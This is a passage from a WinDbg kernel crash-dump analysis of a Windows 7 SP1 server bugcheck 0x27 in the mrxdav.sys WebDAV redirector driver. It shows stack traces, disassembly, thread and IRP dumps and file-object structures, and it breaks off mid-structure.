fffff880\`0572c800 fffff880\`0130e6af : fffffa80\`c0f2f9f0 fffffa80\`c9572620
fffffa80\`d05b5000 fffffa80\`d1861ca0 : mup\!MupFsdIrpPassThrough+0x12d
fffff880\`0572c850 fffff880\`015659e3 : fffffa80\`c1078000 00000000\`00000002
fffffa80\`c1078000 fffffa80\`d05b5000 : fltmgr\!FltpDispatch+0x9f
fffff880\`0572c8b0 fffff880\`0130e6af : fffffa80\`c3880830 fffffa80\`d05b5070
00000000\`00000001 fffffa80\`d1861ca0 :
mfehidk\!DEVICEDISPATCH::DispatchPassThrough+0x143 fffff880\`0572c930
fffff800\`0239184a : 00000000\`00000002 fffffa80\`d05b5070 00000000\`00000001
fffffa80\`d1861ca0 : fltmgr\!FltpDispatch+0x9f fffff880\`0572c990
fffff800\`023a59aa : fffffa80\`d05b5070 00000000\`00000000 fffffa80\`d05b5070
fffffa80\`d05b5070 : nt\!IopSynchronousServiceTail+0xfa fffff880\`0572ca00
fffff800\`023a5a46 : 00000000\`00000000 00000000\`00000000 00000000\`00000000
00000000\`00000000 : nt\!IopXxxControlFile+0xc27 fffff880\`0572cb40
fffff800\`02084693 : 00000000\`00000001 fffffa80\`cba45060 00000000\`00000000
fffff880\`0572cc00 : nt\!NtDeviceIoControlFile+0x56 fffff880\`0572cbb0
00000000\`7747bbaa : 00000000\`00000000 00000000\`00000000 00000000\`00000000
00000000\`00000000 : nt\!KiSystemServiceCopyEnd+0x13 00000000\`013afc58
00000000\`00000000 : 00000000\`00000000 00000000\`00000000 00000000\`00000000
00000000\`00000000 : 0x7747bbaa THREAD\_SHA1\_HASH\_MOD\_FUNC:
0f1c2a86b1b6e813715fcce35a8f75984029d48e
THREAD\_SHA1\_HASH\_MOD\_FUNC\_OFFSET:
adc93dcb4217433e9f4e37d2ea4740ca5bc14555 THREAD\_SHA1\_HASH\_MOD:
cf421238e1ccaa278482b9fea3276d57a1e118b5 FAULT\_INSTR\_CODE: 8589008b
SYMBOL\_STACK\_INDEX: 0 SYMBOL\_NAME:
mrxdav\!MRxDAVFormatUserModeVNetRootFinalizeRequest+cf FOLLOWUP\_NAME:
MachineOwner MODULE\_NAME: mrxdav IMAGE\_NAME: mrxdav.sys
DEBUG\_FLR\_IMAGE\_TIMESTAMP: 568ea37b STACK\_COMMAND: .cxr 0xfffff8800572b900
; kb FAILURE\_BUCKET\_ID:
X64\_0x27\_mrxdav\!MRxDAVFormatUserModeVNetRootFinalizeRequest+cf BUCKET\_ID:
X64\_0x27\_mrxdav\!MRxDAVFormatUserModeVNetRootFinalizeRequest+cf
PRIMARY\_PROBLEM\_CLASS:
X64\_0x27\_mrxdav\!MRxDAVFormatUserModeVNetRootFinalizeRequest+cf
TARGET\_TIME: 2017-01-12T10:52:51.000Z OSBUILD: 7601 OSSERVICEPACK: 1000
SERVICEPACK\_NUMBER: 0 OS\_REVISION: 0 SUITE\_MASK: 16 PRODUCT\_TYPE: 3
OSPLATFORM\_TYPE: x64 OSNAME: Windows 7 OSEDITION: Windows 7 Server \(Service
Pack 1\) TerminalServer OS\_LOCALE: USER\_LCID: 0 OSBUILD\_TIMESTAMP:
2016-04-09 06:46:22 BUILDDATESTAMP\_STR: 160408-2045 BUILDLAB\_STR:
win7sp1\_ldr BUILDOSVER\_STR: 6.1.7601.23418.amd64fre.win7sp1\_ldr.160408-2045
ANALYSIS\_SESSION\_ELAPSED\_TIME: 43b ANALYSIS\_SOURCE: KM
FAILURE\_ID\_HASH\_STRING:
km:x64\_0x27\_mrxdav\!mrxdavformatusermodevnetrootfinalizerequest+cf
FAILURE\_ID\_HASH: \{13c7e885-fd69-3db5-b48f-4af0d2ab0812\} Followup:
MachineOwner \--------- 7: kd> lmvm mrxdav Browse full module list start end
module name fffff880\`0397e000 fffff880\`039a7000 mrxdav \(pdb symbols\)
c:\sym\mrxdav.pdb\6806449D6A9B408BB4453345D3ED8DB91\mrxdav.pdb Loaded symbol
image file: mrxdav.sys Image path: \SystemRoot\system32\drivers\mrxdav.sys
Image name: mrxdav.sys Browse all global symbols functions data Timestamp: Thu
Jan 7 17:42:19 2016 \(568EA37B\) CheckSum: 000243D6 ImageSize: 00029000
Translations: 0000.04b0 0000.04e4 0409.04b0 0409.04e4 7: kd> \!pte
00000000baad0073 VA ffffffffbaad0073 PXE at FFFFF6FB7DBEDFF8 PPE at
FFFFF6FB7DBFFFF0 PDE at FFFFF6FB7FFFEEA8 PTE at FFFFF6FFFFDD5680 contains
00000000001C4063 contains 0000000000000000 pfn 1c4 ---DA--KWEV not valid 7:
kd> \!devobj fffffa80d05b5070 f fffffa80d05b5070: is not a device object 7:
kd> \!drvobj fffffa80c0f2fe40 f Driver object \(fffffa80c0f2fe40\) is for:
fffffa80c0f2fe40: is not a driver object 7: kd> .cxr 0xfffff8800572b900
rax=0000000000000000 rbx=0000000000000000 rcx=fffffa80ed67d010
rdx=fffffa8147652810 rsi=fffffa80c9ce9f38 rdi=fffffa813cc9bca0
rip=fffff88003992def rsp=fffff8800572c2e0 rbp=fffff8800304ed08
r8=fffff8800304ed08 r9=00000000000023d4 r10=fffffa81324b6494
r11=fffff8800572c300 r12=fffffa81324b6310 r13=fffff88003986110
r14=fffff88003985520 r15=fffffa80c1d93040 iopl=0 nv up ei ng nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00010286
mrxdav\!MRxDAVFormatUserModeVNetRootFinalizeRequest+0xcf: fffff880\`03992def
8b00 mov eax,dword ptr \[rax\] ds:002b:00000000\`00000000=???????? 7: kd> ub
mrxdav\!MRxDAVFormatUserModeVNetRootFinalizeRequest+0xcf
mrxdav\!MRxDAVFormatUserModeVNetRootFinalizeRequest+0xad: fffff880\`03992dcd
488bb7e8000000 mov rsi,qword ptr \[rdi+0E8h\] fffff880\`03992dd4 488b4810 mov
rcx,qword ptr \[rax+10h\] fffff880\`03992dd8 488bc3 mov rax,rbx
fffff880\`03992ddb 488b7910 mov rdi,qword ptr \[rcx+10h\] fffff880\`03992ddf
483bfb cmp rdi,rbx fffff880\`03992de2 7404 je
mrxdav\!MRxDAVFormatUserModeVNetRootFinalizeRequest+0xc8
\(fffff880\`03992de8\) fffff880\`03992de4 488b4710 mov rax,qword ptr
\[rdi+10h\] fffff880\`03992de8 c7453008000000 mov dword ptr \[rbp+30h\],8 7:
kd> u . mrxdav\!MRxDAVFormatUserModeVNetRootFinalizeRequest+0xcf:
fffff880\`03992def 8b00 mov eax,dword ptr \[rax\] fffff880\`03992df1
898588020000 mov dword ptr \[rbp+288h\],eax fffff880\`03992df7 8b4650 mov
eax,dword ptr \[rsi+50h\] fffff880\`03992dfa 898580020000 mov dword ptr
\[rbp+280h\],eax fffff880\`03992e00 8b4654 mov eax,dword ptr \[rsi+54h\]
fffff880\`03992e03 898584020000 mov dword ptr \[rbp+284h\],eax
fffff880\`03992e09 488b050033ffff mov rax,qword ptr
\[mrxdav\!WPP\_GLOBAL\_Control \(fffff880\`03986110\)\] fffff880\`03992e10
493bc5 cmp rax,r13 7: kd> \!thread -1 17 THREAD fffffa80c3cb1410 Cid 169c.18bc
Teb: 000007fffffd3000 Win32Thread: 0000000000000000 RUNNING on processor 7 IRP
List: fffffa80d1861ca0: \(0006,0358\) Flags: 00060000 Mdl: fffffa80dc12b710
Not impersonating DeviceMap fffff8a001137980 Owning Process fffffa80c4abdb10
Image: svchost.exe Attached Process N/A Image: N/A Wait Start TickCount
464334880 Ticks: 0 Context Switch Count 18 IdealProcessor: 7 UserTime
00:00:00.000 KernelTime 00:00:00.000 Win32 Start Address 0x000007fef20e1c2c
Stack Init fffff8800572cdb0 Current fffff8800572c0f0 Base fffff8800572d000
Limit fffff88005727000 Call 0000000000000000 Priority 8 BasePriority 8
PriorityDecrement 0 IoPriority 2 PagePriority 5 Child-SP RetAddr : Args to
Child : Call Site fffff880\`0572b078 fffff880\`0330cec2 : 00000000\`00000027
00000000\`baad0073 fffff880\`0572c0a8 fffff880\`0572b900 : nt\!KeBugCheckEx
fffff880\`0572b080 fffff880\`03312c11 : fffff880\`03314254 fffff880\`0572c550
fffff880\`0572c510 00000000\`00000000 : rdbss\!RxExceptionFilter+0xea
fffff880\`0572b0d0 fffff800\`020b19c4 : 00000000\`00000000 00000000\`00000000
00000000\`00000000 00000000\`00000000 : rdbss\! ?? ::FNODOBFM::\`string'+0x547
fffff880\`0572b120 fffff880\`03312665 : fffff880\`0331425c fffff880\`0572c510
fffff880\`0572c0a8 fffff880\`0572c510 : nt\!\_C\_specific\_handler+0x8c
fffff880\`0572b190 fffff800\`020b143d : fffff880\`03314248 00000000\`00000000
fffff880\`032fb000 00000000\`00000000 : rdbss\!\_GSHandlerCheck\_SEH+0x75
fffff880\`0572b1c0 fffff800\`020b0215 : fffff880\`03314248 fffff880\`0572b238
fffff880\`0572c0a8 fffff880\`032fb000 : nt\!RtlpExecuteHandlerForException+0xd
fffff880\`0572b1f0 fffff800\`020c1725 : fffff880\`0572c0a8 fffff880\`0572b900
fffff880\`00000000 fffffa81\`3cc9bca0 : nt\!RtlDispatchException+0x415
fffff880\`0572b8d0 fffff800\`02084a82 : fffff880\`0572c0a8 00000000\`00000000
fffff880\`0572c150 fffffa80\`c9ce9f38 : nt\!KiDispatchException+0x135
fffff880\`0572bf70 fffff800\`020835fa : 00000000\`00000000 00000000\`00000000
00000000\`00000000 00000000\`00000000 : nt\!KiExceptionDispatch+0xc2
fffff880\`0572c150 fffff880\`03992def : fffffa80\`c3cb1410 00000000\`00000000
fffffa80\`00000000 fffff800\`0208d6d3 : nt\!KiPageFault+0x23a \(TrapFrame @
fffff880\`0572c150\) fffff880\`0572c2e0 fffff880\`0399e7be :
fffffa81\`324b6310 fffff880\`03992d20 fffffa81\`47652810 00000000\`00000000 :
mrxdav\!MRxDAVFormatUserModeVNetRootFinalizeRequest+0xcf fffff880\`0572c330
fffff880\`0399f633 : fffffa81\`324b6310 00000000\`00000001 fffff800\`0237bf01
fffff800\`000023d4 : mrxdav\!UMRxPrepareUserModeRequestBuffer+0x2ca
fffff880\`0572c3c0 fffff880\`03988411 : fffffa81\`324b6458 00000000\`00000000
fffffa80\`d1861e0e fffffa81\`06649010 : mrxdav\!UMRxAssignWork+0x47b
fffff880\`0572c420 fffff880\`03332345 : fffffa80\`c1d93040 fffffa81\`06649010
fffffa80\`d1861e90 fffffa80\`d1861ca0 :
mrxdav\!MRxDAVDevFcbXXXControlFile+0x36d fffff880\`0572c490 fffff880\`03331709
: 00000000\`000001eb fffffa80\`d1861ca0 ffff0000\`0643a4df 64536553\`1263177c
: rdbss\!RxXXXControlFileCallthru+0xcd fffff880\`0572c4c0 fffff880\`032ff6a0 :
00000000\`00000000 fffff880\`0572c550 fffffa81\`06649010 00000000\`00000000 :
rdbss\!RxCommonDevFCBIoCtl+0xf5 fffff880\`0572c510 fffff880\`0331cbb4 :
fffffa80\`d1861ca0 fffffa80\`d05b500e 00000000\`014a9918 00000000\`00000001 :
rdbss\!RxFsdCommonDispatch+0x870 fffff880\`0572c600 fffff880\`03990be5 :
00000000\`00000000 fffff880\`014a9918 fffffa80\`d1861ca0 fffffa80\`d05b5070 :
rdbss\!RxFsdDispatch+0x224 fffff880\`0572c670 fffff880\`014a7c79 :
fffffa80\`c1d93040 fffffa80\`d1861ca0 fffff880\`0572c80e 00000000\`00000000 :
mrxdav\!MRxDAVFsdDispatch+0x6c5 fffff880\`0572c740 fffff880\`014a6175 :
fffff8a0\`002aa8a0 fffffa80\`c9572620 00000000\`00000103 fffffa80\`d1861f20 :
mup\!MupiCallUncProvider+0x169 fffff880\`0572c7b0 fffff880\`014a8001 :
fffffa80\`d1861ca0 fffff880\`014a4118 fffffa80\`d05b5070 00000000\`00000000 :
mup\!MupStateMachine+0x165 fffff880\`0572c800 fffff880\`0130e6af :
fffffa80\`c0f2f9f0 fffffa80\`c9572620 fffffa80\`d05b5000 fffffa80\`d1861ca0 :
mup\!MupFsdIrpPassThrough+0x12d fffff880\`0572c850 fffff880\`015659e3 :
fffffa80\`c1078000 00000000\`00000002 fffffa80\`c1078000 fffffa80\`d05b5000 :
fltmgr\!FltpDispatch+0x9f fffff880\`0572c8b0 fffff880\`0130e6af :
fffffa80\`c3880830 fffffa80\`d05b5070 00000000\`00000001 fffffa80\`d1861ca0 :
mfehidk\!DEVICEDISPATCH::DispatchPassThrough+0x143 fffff880\`0572c930
fffff800\`0239184a : 00000000\`00000002 fffffa80\`d05b5070 00000000\`00000001
fffffa80\`d1861ca0 : fltmgr\!FltpDispatch+0x9f fffff880\`0572c990
fffff800\`023a59aa : fffffa80\`d05b5070 00000000\`00000000 fffffa80\`d05b5070
fffffa80\`d05b5070 : nt\!IopSynchronousServiceTail+0xfa fffff880\`0572ca00
fffff800\`023a5a46 : 00000000\`00000000 00000000\`00000000 00000000\`00000000
00000000\`00000000 : nt\!IopXxxControlFile+0xc27 fffff880\`0572cb40
fffff800\`02084693 : 00000000\`00000001 fffffa80\`cba45060 00000000\`00000000
fffff880\`0572cc00 : nt\!NtDeviceIoControlFile+0x56 fffff880\`0572cbb0
00000000\`7747bbaa : 00000000\`00000000 00000000\`00000000 00000000\`00000000
00000000\`00000000 : nt\!KiSystemServiceCopyEnd+0x13 \(TrapFrame @
fffff880\`0572cc20\) 00000000\`013afc58 00000000\`00000000 :
00000000\`00000000 00000000\`00000000 00000000\`00000000 00000000\`00000000 :
0x7747bbaa 7: kd> \!irp fffffa80d1861ca0 Irp is active with 6 stacks 5 is
current \(= 0xfffffa80d1861e90\) Mdl=fffffa80dc12b710: No System Buffer:
Thread fffffa80c3cb1410: Irp stack trace. cmd flg cl Device File Completion-
Context \[N/A\(0\), N/A\(0\)\] 0 0 00000000 00000000 00000000-00000000 Args:
00000000 00000000 00000000 00000000 \[N/A\(0\), N/A\(0\)\] 0 0 00000000
00000000 00000000-00000000 Args: 00000000 00000000 00000000 00000000
\[N/A\(0\), N/A\(0\)\] 0 0 00000000 00000000 00000000-00000000 Args: 00000000
00000000 00000000 00000000 \[N/A\(0\), N/A\(0\)\] 0 0 00000000 00000000
00000000-00000000 Args: 00000000 00000000 00000000 00000000
>\[IRP\_MJ\_DEVICE\_CONTROL\(e\), N/A\(0\)\] 0 e0 fffffa80c1d93040
fffffa80d05b5070 fffff8800149f9cc-fffffa80c9572620 Success Error Cancel
\FileSystem\MRxDAV mup\!MupiUncProviderCompletion Args: 000023d4 00000000
0014037e 00000000 \[IRP\_MJ\_DEVICE\_CONTROL\(e\), N/A\(0\)\] 0 0
fffffa80c0f2fe40 fffffa80d05b5070 00000000-00000000 \FileSystem\Mup Args:
000023d4 00000000 0014037e 00000000 7: kd> dt nt\!\_FILE\_OBJECT
fffffa80d05b5070 +0x000 Type : 0n5 +0x002 Size : 0n216 +0x008 DeviceObject :
0xfffffa80\`c0f2fe40 \_DEVICE\_OBJECT +0x010 Vpb : \(null\) +0x018 FsContext :
0xfffff880\`03316ce0 Void +0x020 FsContext2 : \(null\) +0x028
SectionObjectPointer : \(null\) +0x030 PrivateCacheMap : \(null\) +0x038
FinalStatus : 0n0 +0x040 RelatedFileObject : \(null\) +0x048 LockOperation : 0
'' +0x049 DeletePending : 0 '' +0x04a ReadAccess : 0 '' +0x04b WriteAccess : 0
'' +0x04c DeleteAccess : 0 '' +0x04d SharedRead : 0 '' +0x04e SharedWrite : 0
'' +0x04f SharedDelete : 0 '' +0x050 Flags : 0x40006 +0x058 FileName :
\_UNICODE\_STRING "" +0x068 CurrentByteOffset : \_LARGE\_INTEGER 0x0 +0x070
Waiters : 0 +0x074 Busy : 1 +0x078 LastLock : \(null\) +0x080 Lock : \_KEVENT
+0x098 Event : \_KEVENT +0x0b0 CompletionContext : \(null\) +0x0b8 IrpListLock
: 0 +0x0c0 IrpList : \_LIST\_ENTRY \[ 0xfffffa80\`d05b5130 -
0xfffffa80\`d05b5130 \] +0x0d0 FileObjectExtension : 0xfffffa80\`c58c6860 Void
7: kd> \!stacks 0 Mup Proc.Thread .Thread Ticks ThreadState Blocker
169c.0018bc fffffa80c3cb1410 e452cfe0 RUNNING nt\!KeBugCheckEx 169c.002058
fffffa80c66706f0 e452dcf2 Blocked mrxdav\!UMRxAssignWork+0x399 169c.002288
fffffa80cec85700 e452cfe0 Blocked
mrxdav\!UMRxSubmitAsyncEngUserModeRequest+0x25a 7: kd> \!thread
fffffa80c66706f0 17 THREAD fffffa80c66706f0 Cid 169c.2058 Teb:
000007fffffae000 Win32Thread: 0000000000000000 WAIT: \(WrQueue\) UserMode
Alertable fffffa80c1d93970 QueueObject IRP List: fffffa810cf43a20:
\(0006,0358\) Flags: 00060000 Mdl: fffffa80dc2d2950 Not impersonating
DeviceMap fffff8a001137980 Owning Process fffffa80c4abdb10 Image: svchost.exe
Attached Process N/A Image: N/A Wait Start TickCount 464331534 Ticks: 3346
\(0:00:00:52.281\) Context Switch Count 415 IdealProcessor: 0 UserTime
00:00:00.000 KernelTime 00:00:00.031 Win32 Start Address 0x000007fef20e1c2c
Stack Init fffff88008b21db0 Current fffff88008b210f0 Base fffff88008b22000
Limit fffff88008b1c000 Call 0000000000000000 Priority 8 BasePriority 8
PriorityDecrement 0 IoPriority 2 PagePriority 5 Child-SP RetAddr : Args to
Child : Call Site fffff880\`08b21130 fffff800\`0208a672 : fffff880\`00000000
fffffa80\`c66706f0 fffff880\`00000000 00000000\`00000000 :
nt\!KiSwapContext+0x7a fffff880\`08b21270 fffff800\`0208d6d3 :
fffff880\`03316100 00000000\`0014037e 00000000\`00000000 00000000\`00000000 :
nt\!KiCommitThreadWait+0x1d2 fffff880\`08b21300 fffff880\`0399f551 :
fffffa80\`00000000 00000000\`00000001 fffff800\`0237bf01 fffff800\`02397301 :
nt\!KeRemoveQueueEx+0x323 fffff880\`08b213c0 fffff880\`03988411 :
fffffa81\`00000000 00000000\`00000000 fffffa81\`0cf43c0e fffffa80\`cf06a9c0 :
mrxdav\!UMRxAssignWork+0x399 fffff880\`08b21420 fffff880\`03332345 :
fffffa80\`c1d93040 fffffa80\`cf06a9c0 fffffa81\`0cf43c10 fffffa81\`0cf43a20 :
mrxdav\!MRxDAVDevFcbXXXControlFile+0x36d fffff880\`08b21490 fffff880\`03331709
: 00000000\`000001eb fffffa81\`0cf43a20 ffff0000\`0b8374df 64536553\`3147b91c
: rdbss\!RxXXXControlFileCallthru+0xcd fffff880\`08b214c0 fffff880\`032ff6a0 :
00000000\`00000000 fffff880\`08b21550 fffffa80\`cf06a9c0 00000000\`00000000 :
rdbss\!RxCommonDevFCBIoCtl+0xf5 fffff880\`08b21510 fffff880\`0331cbb4 :
fffffa81\`0cf43a20 fffffa81\`60f2200e 00000000\`014a9918 00000000\`00000001 :
rdbss\!RxFsdCommonDispatch+0x870 fffff880\`08b21600 fffff880\`03990be5 :
00000000\`00000000 fffff880\`014a9918 fffffa81\`0cf43a20 fffffa81\`60f22070 :
rdbss\!RxFsdDispatch+0x224 fffff880\`08b21670 fffff880\`014a7c79 :
fffffa80\`c1d93040 fffffa81\`0cf43a20 fffff880\`08b2180e 00000000\`00000000 :
mrxdav\!MRxDAVFsdDispatch+0x6c5 fffff880\`08b21740 fffff880\`014a6175 :
fffff8a0\`002aa8a0 fffffa80\`c802ce10 00000000\`00000103 fffffa81\`0cf43ca0 :
mup\!MupiCallUncProvider+0x169 fffff880\`08b217b0 fffff880\`014a8001 :
fffffa81\`0cf43a20 fffff880\`014a4118 fffffa81\`60f22070 00000000\`00000000 :
mup\!MupStateMachine+0x165 fffff880\`08b21800 fffff880\`0130e6af :
fffffa80\`c0f2f9f0 fffffa80\`c802ce10 fffffa81\`60f22000 fffffa81\`0cf43a20 :
mup\!MupFsdIrpPassThrough+0x12d fffff880\`08b21850 fffff880\`015659e3 :
fffffa80\`c1078000 00000000\`00000002 fffffa80\`c1078000 fffffa81\`60f22000 :
fltmgr\!FltpDispatch+0x9f fffff880\`08b218b0 fffff880\`0130e6af :
fffffa80\`c3880830 fffffa81\`60f22070 00000000\`00000001 fffffa81\`0cf43a20 :
mfehidk\!DEVICEDISPATCH::DispatchPassThrough+0x143 fffff880\`08b21930
fffff800\`0239184a : 00000000\`00000002 fffffa81\`60f22070 00000000\`00000001
fffffa81\`0cf43a20 : fltmgr\!FltpDispatch+0x9f fffff880\`08b21990
fffff800\`023a59aa : fffffa81\`60f22070 00000000\`00000000 fffffa81\`60f22070
fffffa81\`60f22070 : nt\!IopSynchronousServiceTail+0xfa fffff880\`08b21a00
fffff800\`023a5a46 : 00000000\`00000000 00000000\`00000000 00000000\`00000000
00000000\`00000000 : nt\!IopXxxControlFile+0xc27 fffff880\`08b21b40
fffff800\`02084693 : 00000000\`00000001 fffffa80\`cba45060 00000000\`00000000
fffff880\`08b21c00 : nt\!NtDeviceIoControlFile+0x56 fffff880\`08b21bb0
00000000\`7747bbaa : 00000000\`00000000 00000000\`00000000 00000000\`00000000
00000000\`00000000 : nt\!KiSystemServiceCopyEnd+0x13 \(TrapFrame @
fffff880\`08b21c20\) 00000000\`0159fa18 00000000\`00000000 :
00000000\`00000000 00000000\`00000000 00000000\`00000000 00000000\`00000000 :
0x7747bbaa 7: kd> \!thread fffffa80cec85700 17 THREAD fffffa80cec85700 Cid
169c.2288 Teb: 000007fffffdc000 Win32Thread: 0000000000000000 WAIT:
\(Executive\) KernelMode Non-Alertable fffffa81324b64b0 SynchronizationEvent
IRP List: fffffa80ccddbca0: \(0006,0358\) Flags: 00000884 Mdl: 00000000
Impersonation token: fffff8a0395a2a90 \(Level Impersonation\) DeviceMap
fffff8a0125151b0 Owning Process fffffa80c4abdb10 Image: svchost.exe Attached
Process N/A Image: N/A Wait Start TickCount 464334880 Ticks: 0 Context Switch
Count 20925 IdealProcessor: 3 UserTime 00:00:00.093 KernelTime 00:00:00.187
Win32 Start Address 0x000000007744f5d0 Stack Init fffff880082b3db0 Current
fffff880082b29a0 Base fffff880082b4000 Limit fffff880082ae000 Call
0000000000000000 Priority 10 BasePriority 8 PriorityDecrement 0 IoPriority 2
PagePriority 5 Child-SP RetAddr : Args to Child : Call Site fffff880\`082b29e0
fffff800\`0208a672 : 00000000\`634e7852 fffffa80\`cec85700 00000000\`00000000
fffff800\`0208b71a : nt\!KiSwapContext+0x7a fffff880\`082b2b20
fffff800\`0208ce9f : fffffa80\`c3cb1410 fffff800\`02048cc4 fffffa80\`00000000
00000000\`00000000 : nt\!KiCommitThreadWait+0x1d2 fffff880\`082b2bb0
fffff880\`0399dd36 : fffffa81\`324b6300 fffff880\`00000000 fffffa81\`324b6300
fffffa81\`324b6300 : nt\!KeWaitForSingleObject+0x19f fffff880\`082b2c50
fffff880\`03992cc7 : fffffa81\`324b6310 fffffa81\`47652810 00000002\`0e100bb8
fffffa81\`47652810 : mrxdav\!UMRxSubmitAsyncEngUserModeRequest+0x25a
fffff880\`082b2cd0 fffff880\`039a039d : 00000000\`00000000 fffff880\`03992c18
00000000\`00000000 00000000\`00000000 :
mrxdav\!MRxDAVFinalizeVNetRootContinuation+0xaf fffff880\`082b2d10
fffff880\`03992b45 : fffffa80\`c9ce9f38 fffffa81\`47652810 00000000\`00000000
fffffa80\`c9ce9d80 : mrxdav\!UMRxAsyncEngOuterWrapper+0x199 fffff880\`082b2d70
fffff880\`03301b89 : 00000000\`00000000 fffffa80\`ed67d010 fffffa80\`c1d93200
00000000\`000e0082 : mrxdav\!MRxDAVFinalizeVNetRoot+0x211 fffff880\`082b2dd0
fffff880\`0331b954 : fffffa80\`c9ce9d80 fffffa80\`ed67d010 fffffa80\`c1d93200
00000000\`00000000 : rdbss\!RxMRxFinalizeVNetRoot+0x7d fffff880\`082b2e00
fffff880\`033380d8 : fffffa80\`c9ce9d80 fffffa80\`c1d937e0 fffffa80\`c1d932b8
00000000\`00000000 : rdbss\!RxFinalizeVNetRoot+0x104 fffff880\`082b2e50
fffff880\`0333d1f8 : fffffa81\`54ebd200 fffffa80\`ccddbca0 fffff880\`082b2f20
00000000\`00000004 : rdbss\!RxScavengeVNetRoots+0xc8 fffff880\`082b2e90
fffff880\`033326aa : fffffa81\`54ebd200 00000000\`00000000 00000000\`00000000
fffffa80\`ccddbca0 : rdbss\!RxFindOrConstructVirtualNetRootWithRetry+0x74
fffff880\`082b2ee0 fffff880\`03322cec : 00000000\`00000004 00000000\`00000000
fffffa80\`ccddbca0 fffffa80\`ccddbca0 : rdbss\!RxCreateTreeConnect+0x13e
fffff880\`082b2f70 fffff880\`032ff6a0 : 00000000\`00000000 fffffa80\`ccddbca0
fffffa80\`ccddbe48 00000000\`00000000 : rdbss\!RxCommonCreate+0x1ec
fffff880\`082b3030 fffff880\`0331cbb4 : fffffa80\`ccddbca0 fffffa80\`c3862600
fffff8a0\`002aa800 00000000\`00000001 : rdbss\!RxFsdCommonDispatch+0x870
fffff880\`082b3120 fffff880\`03990be5 : fffff8a0\`2f9be9b0 fffff880\`014b0b32
fffffa80\`ccddbca0 fffffa80\`c3862620 : rdbss\!RxFsdDispatch+0x224
fffff880\`082b3190 fffff880\`014a7c79 : fffffa80\`c1d93040 fffffa80\`ccddbca0
fffff880\`082b3300 00000000\`00000000 : mrxdav\!MRxDAVFsdDispatch+0x6c5
fffff880\`082b3260 fffff880\`014a6175 : fffff8a0\`002aa8a0 fffffa81\`30df21b0
00000000\`00000103 fffffa80\`c3862620 : mup\!MupiCallUncProvider+0x169
fffff880\`082b32d0 fffff880\`014a67c5 : 00000000\`00000000 00000000\`00000000
fffffa80\`d2491160 00000000\`00000000 : mup\!MupStateMachine+0x165
fffff880\`082b3320 fffff880\`0132f0b6 : 00000000\`00000000 fffffa80\`ccddbca0
00000000\`00000000 fffffa80\`c3862620 : mup\!MupCreate+0x31d
fffff880\`082b33b0 fffff880\`01564fb0 : fffff880\`082b3650 fffffa80\`ccddbed8
fffff880\`082b3548 fffff880\`0150c60f : fltmgr\!FltpCreate+0xa6
fffff880\`082b3460 fffff880\`014fb619 : fffffa80\`ccddbed8 fffffa80\`c1078000
fffffa80\`c3862620 00000000\`00000000 :
mfehidk\!DEVICEDISPATCH::LowerDispatchPassThrough+0xa0 fffff880\`082b34f0
fffff880\`01565973 : 00000000\`55555555 00000000\`00000000 fffffa80\`c1078000
00000000\`00000000 : mfehidk+0x1e619 fffff880\`082b3620 fffff880\`0132f0b6 :
00000000\`00000005 00000000\`00000040 fffffa80\`c3862620 fffffa80\`c3880830 :
mfehidk\!DEVICEDISPATCH::DispatchPassThrough+0xd3 fffff880\`082b36a0
fffff800\`02387afb : 00000000\`00000005 00000000\`00000040 fffffa80\`c3862620
fffffa80\`c38626b8 : fltmgr\!FltpCreate+0xa6 fffff880\`082b3750
fffff800\`0238361e : fffffa80\`c0f2fe40 00000000\`00000000 fffffa80\`d38009b0
fffffa80\`00000001 : nt\!IopParseDevice+0x14e2 fffff880\`082b38b0
fffff800\`02384106 : 00000000\`00000000 fffff880\`082b3a30 00000000\`00000040
fffffa80\`c08ffc90 : nt\!ObpLookupObjectName+0x784 fffff880\`082b39b0
fffff800\`02385efc : fffffa80\`cec85700 00000000\`00000000 00000000\`00000001
ffffffff\`ffffffff : nt\!ObOpenObjectByName+0x306 fffff880\`082b3a80
fffff800\`02391574 : 00000000\`019eed30 00000000\`00100000 00000000\`019eebf0
00000000\`019eebe0 : nt\!IopCreateFile+0x2bc fffff880\`082b3b20
fffff800\`02084693 : fffffa80\`c4abdb10 0000007f\`ffffffff fffffa80\`cec85700
00000980\`00000000 : nt\!NtCreateFile+0x78 fffff880\`082b3bb0
00000000\`7747c08a : 00000000\`00000000 00000000\`00000000 00000000\`00000000
00000000\`00000000 : nt\!KiSystemServiceCopyEnd+0x13 \(TrapFrame @
fffff880\`082b3c20\) 00000000\`019eeb58 00000000\`00000000 :
00000000\`00000000 00000000\`00000000 00000000\`00000000 00000000\`00000000 :
0x7747c08a 7: kd> \!irp fffffa80ccddbca0 Irp is active with 6 stacks 4 is
current \(= 0xfffffa80ccddbe48\) No Mdl: System buffer=fffffa816ae1a010:
Thread fffffa80cec85700: Irp stack trace. cmd flg cl Device File Completion-
Context \[N/A\(0\), N/A\(0\)\] 0 0 00000000 00000000 00000000-00000000 Args:
00000000 00000000 00000000 00000000 \[N/A\(0\), N/A\(0\)\] 0 0 00000000
00000000 00000000-00000000 Args: 00000000 00000000 00000000 00000000
\[N/A\(0\), N/A\(0\)\] 0 0 00000000 00000000 00000000-00000000 Args: 00000000
00000000 00000000 00000000 >\[IRP\_MJ\_CREATE\(0\), N/A\(0\)\] 0 e0
fffffa80c1d93040 fffffa80c3862620 fffff8800149f9cc-fffffa8130df21b0 Success
Error Cancel \FileSystem\MRxDAV mup\!MupiUncProviderCompletion Args:
fffff880082b3858 010000a0 00070080 000000b4 \[IRP\_MJ\_CREATE\(0\), N/A\(0\)\]
0 e0 fffffa80c0f2fe40 fffffa80c3862620 fffff88001564ea0-fffff880082b34a8
Success Error Cancel \FileSystem\Mup mfehidk\!CopyELAMLog Args:
fffff880082b3858 010000a0 00070080 000000b4 \[IRP\_MJ\_CREATE\(0\), N/A\(0\)\]
0 0 fffffa80c0f31950 fffffa80c3862620 00000000-00000000 \Driver\mfehidk Args:
fffff880082b3858 010000a0 00070080 000000b4 7: kd> dt nt\!\_FILE\_OBJECT
fffffa80c3862620 +0x000 Type : 0n5 +0x002 Size : 0n216 +0x008 DeviceObject :
0xfffffa80\`c0f2fe40 \_DEVICE\_OBJECT +0x010 Vpb : \(null\) +0x018 FsContext :
\(null\) +0x020 FsContext2 : \(null\) +0x028 SectionObjectPointer : \(null\)
+0x030 PrivateCacheMap : \(null\) +0x038 FinalStatus : 0n0 +0x040
RelatedFileObject : \(null\) +0x048 LockOperation : 0 '' +0x049 DeletePending
